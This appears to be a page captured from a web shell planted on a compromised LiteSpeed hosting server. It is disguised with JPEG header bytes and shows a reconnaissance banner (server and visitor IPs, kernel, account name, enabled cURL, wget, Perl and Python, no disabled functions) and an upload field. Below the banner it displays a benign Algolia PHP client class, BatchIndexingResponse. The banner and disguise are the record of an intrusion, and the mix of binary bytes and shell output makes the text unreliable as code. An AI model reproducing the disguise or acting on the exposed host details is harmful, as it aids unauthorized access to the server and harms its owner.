����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.157 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/algolia/algoliasearch-client-php/src/Response/ |
Upload File : |
<?php
namespace Algolia\AlgoliaSearch\Response;
use Algolia\AlgoliaSearch\SearchIndex;
final class BatchIndexingResponse extends AbstractResponse implements \Iterator, \Countable
{
/**
* @var \Algolia\AlgoliaSearch\SearchIndex
*/
private $index;
/**
* @var int Current index when class used as an iterator
*/
private $key = 0;
public function __construct(array $apiResponse, SearchIndex $index)
{
$this->apiResponse = array_values($apiResponse); // Ensure there aren't any keys
$this->index = $index;
}
public function wait($requestOptions = [])
{
if (isset($this->index)) {
foreach ($this->apiResponse as $response) {
$this->index->waitTask($response['taskID'], $requestOptions);
}
unset($this->index);
}
return $this;
}
/**
* Count response for the operations. Because indexing objects
* is always split in batches, the apiResponse property and an
* array of response from the API.
*
* @return number of response from the API (number of batches sent)
*/
public function count()
{
return count($this->apiResponse);
}
public function current()
{
return $this->apiResponse[$this->key];
}
public function next()
{
$this->key++;
}
public function key()
{
return $this->key;
}
public function valid()
{
return isset($this->apiResponse[$this->key]);
}
public function rewind()
{
$this->key = 0;
}
}